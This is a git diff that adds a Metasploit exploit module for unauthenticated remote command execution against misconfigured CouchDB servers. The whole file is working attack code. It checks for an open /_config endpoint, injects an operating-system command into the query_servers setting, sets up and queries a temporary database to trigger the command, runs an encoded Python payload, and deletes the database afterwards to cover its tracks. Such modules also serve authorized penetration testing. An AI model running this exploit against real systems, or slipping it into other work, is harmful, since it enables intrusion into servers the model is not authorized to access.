diff --git a/modules/exploits/multi/http/couchdb_unauth_exec.rb b/modules/exploits/multi/http/couchdb_unauth_exec.rb new file mode 100644 index 0000000000..23ca5c3ad2 --- /dev/null +++ b/modules/exploits/multi/http/couchdb_unauth_exec.rb @@ -0,0 +1,162 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'CouchDB Unauthentication Remote Command Execution', + 'Description' => %q{ + This module exploits a misconfiguration in CouchDB. If CouchDB api + without authentication, attackers can execute os commands with + the query_servers option in local.ini. + }, + 'Author' => [ + 'Nixawk', # original metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://blog.rot13.org/2010/11/triggers-in-couchdb-from-queue-to-external-command-execution.html' ], + [ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ], + [ 'URL', 'http://docs.couchdb.org/en/1.6.1/api/server/configuration.html' ] + ], + 'Platform' => %w{ python }, + 'Targets' => + [ + [ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' }] + ], + 'DisclosureDate' => 'Nov 23 2010', + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RPORT(5984), + OptString.new('TARGETURI', [ true, 'The path to a default couchDB api', '/']) + ], self.class) + end + + def unauth? + uri = normalize_uri(datastore['TARGETURI'], '_config') + resp = send_request_cgi( + 'uri' => uri, + 'method' => 'GET' + ) + return false unless resp + json_data = resp.get_json_document + return false if json_data.empty? + resp.code == 200 && json_data.key?('couchdb') + end + + def config_query_servers?(cmd) + uri = normalize_uri(datastore['TARGETURI'], "_config/query_servers/#{@key}") + resp = send_request_cgi( + 'uri' => uri, + 'method' => 'PUT', + 'data' => "\"#{cmd}\"" + ) + return false unless resp + resp.code == 200 && resp.body.include?("\"\"\n") + end + + def create_database? + uri = normalize_uri(datastore['TARGETURI'], @dbname) + resp = send_request_cgi( + 'uri' => uri, + 'method' => 'PUT' + ) + return false unless resp + json_data = resp.get_json_document + return false if json_data.empty? + resp.code == 201 && json_data.key?('ok') && json_data['ok'] + end + + def create_database_key_value? + data = "{\"#{@key}\": \"#{@value}\"}" + uri = normalize_uri(datastore['TARGETURI'], @dbname, @key) + resp = send_request_cgi( + 'uri' => uri, + 'method' => 'PUT', + 'data' => data + ) + return false unless resp + json_data = resp.get_json_document + return false if json_data.empty? + resp.code == 201 && json_data.key?('ok') && json_data['ok'] + end + + def query_database? + uri = normalize_uri(datastore['TARGETURI'], @dbname, '_temp_view?limit=11') + data = "{\"language\":\"#{@key}\",\"map\":\"\"}" + resp = send_request_cgi( + 'uri' => uri, + 'method' => 'POST', + 'ctype' => 'application/json', + 'data' => data + ) + return false unless resp + json_data = resp.get_json_document + return false if json_data.empty? + resp.code == 500 && json_data.key?('error') + end + + def delete_database? + uri = normalize_uri(datastore['TARGETURI'], @dbname) + resp = send_request_cgi( + 'uri' => uri, + 'method' => 'DELETE' + ) + return false unless resp + json_data = resp.get_json_document + return false if json_data.empty? + resp.code == 200 && json_data.key?('ok') && json_data['ok'] + end + + def execute_command(cmd, opts = {}) + @dbname = rand_text_alpha_lower(16) + @key = rand_text_alpha_lower(16) + @value = rand_text_alpha_lower(16) + + vprint_status("#{peer} - config query_servers to add commands") + return unless config_query_servers?(cmd) + + vprint_status("#{peer} - create a databse") + return unless create_database? + + vprint_status("#{peer} - create a database key/value pair") + return unless create_database_key_value? + + vprint_status("#{peer} - query database to execute command") + query_database? + + vprint_status("#{peer} - delete database") + delete_database? + end + + def check + if unauth? + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + end + + def exploit + return unless unauth? + + case target['Platform'] + when 'python' + print_status("#{peer} - Sending python payload...") + execute_command("python -c \\\"#{payload.encoded}\\\"") + end + end +end